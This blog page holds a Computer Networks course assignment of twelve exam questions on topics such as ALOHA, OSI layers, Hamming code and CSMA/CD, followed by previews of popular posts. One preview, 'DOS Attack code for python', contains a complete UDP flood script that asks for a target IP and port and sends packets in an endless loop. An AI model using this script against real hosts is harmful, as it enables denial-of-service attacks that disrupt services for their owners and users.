CN - ASSIGNMENT 1 [last date : 30/08/2017]

-

ASSIGNMENT 1 

Assigned Date: 10/08/2017
Deadline Date: 30/08/2017


1. With a neat diagram compare the uses and functions of differnet hardware components/devices used in an internetwork. ( 1.a :May -12, 1.a :Dec -12,  Marks 10)

2. Explain ALOHA in details. ( 1.c :May -12 , Marks 10)

3. What is layering? Discuss the design issues for layers.  (1.a :May -13, Marks 10)

4.  Explain the ISO- OSI network model and discuss the functions of each layer. (1.b :May -11, Marks 12)

5. Compare the TCP/IP and OSI refernce models. (1.b :May -11, 1.aDec -14, Marks 10)

6. Explain the modes of propogating light along optical channels. What are the advantages over other guided media. (1.b :Dec -14, Marks 10)

7. Draw and explain the architecture and protocol stack of Bluetooth. ( 7.c :Dec -11, 7.c :May -13, Marks 5/10)

8. Explain different framing methods. What are the advantage at variable length frames over fixed length frames. (1.b :May -11, 2.a :May -13, Marks 10)

9. Why is the flow control needed? What are the mechanisms? Explain how the Go-Back-N and Selective repeat ARQ differ from each other with example. ( 3.b: Dec -14, Marks 10)

10.  A receiver receives the code 11001100111. When it applies the Hamming code algorithm the result is 0101. Which bit has the error ? What is the correct Hamming code ? ( 3.b :May -12, Marks 10)

11. Explain CSMA protocol. Explain how collisions are handles in CSMA/CD.( 4.b: Dec -14, Marks 10)

12. Explain and compare the following: Ethernet, token bus and token ring. ( 4.b: Dec-12, Marks 10

Comments

Post a Comment

Popular posts from this blog

Exp : 1 & 2 : Working with HTML and CSS

-
Image
Code for Reference Overview of HTML and CSS Tags, Elements, Attributes, and Content, Displaying Text in HTML, Displaying Images and Linking Documents in HTML Index.html 20480 RECORDING PRACTICE Welcome to 20480 PRACTICE HTML PRACTICE Elements consist of content bookended by a start tag and an end tag. An Introduction to HTML In this module, we look at the history of HTML and CSS. In the Beginning WorldWideWeb was created by Sir Tim Berners-Lee at CERN. Notepad Textmate Notepad Textmate Visual Studio Visual Studio Notepad Textmate Notepad Textmate Visual Studio Visual Studio The dl, dd, and dt elements These three elements are used to create a description list: Coffee Black hot drink Milk White cold drink go to visual code website-separate page go to visual code website-self page To
Read more

DOS Attack code for python

-
import socket import random sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(1362) #Creates packet ip=raw_input('Target IP: ') #The IP we are attacking port=input('Port: ') #Port we direct to attack sent= 0 while 1: #Infinitely loops sending packets to the port until the program is exited.     sock.sendto(bytes,(ip,port))     print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)     sent= sent + 1
Read more

DV and LS Routing Algorithm Implementation in ns2

-
#Create a simulator object set ns [new Simulator] #Tell the simulator to use dynamic routing $ns rtproto DV/LS #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Define a 'finish' procedure proc finish {} {         global ns nf         $ns flush-trace #Close the trace file         close $nf #Execute nam on the trace file         exec nam out.nam &         exit 0 } #Create seven nodes for {set i 0} {$i < 7} {incr i} {         set n($i) [$ns node] } #Create links between the nodes for {set i 0} {$i < 7} {incr i} {         $ns duplex-link $n($i) $n([expr ($i+1)%7]) 1Mb 10ms DropTail } #Create a UDP agent and attach it to node n(0) set udp0 [new Agent/UDP] $ns attach-agent $n(0) $udp0 # Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a Null agent (a traffic sink) and attach it to nod
Read more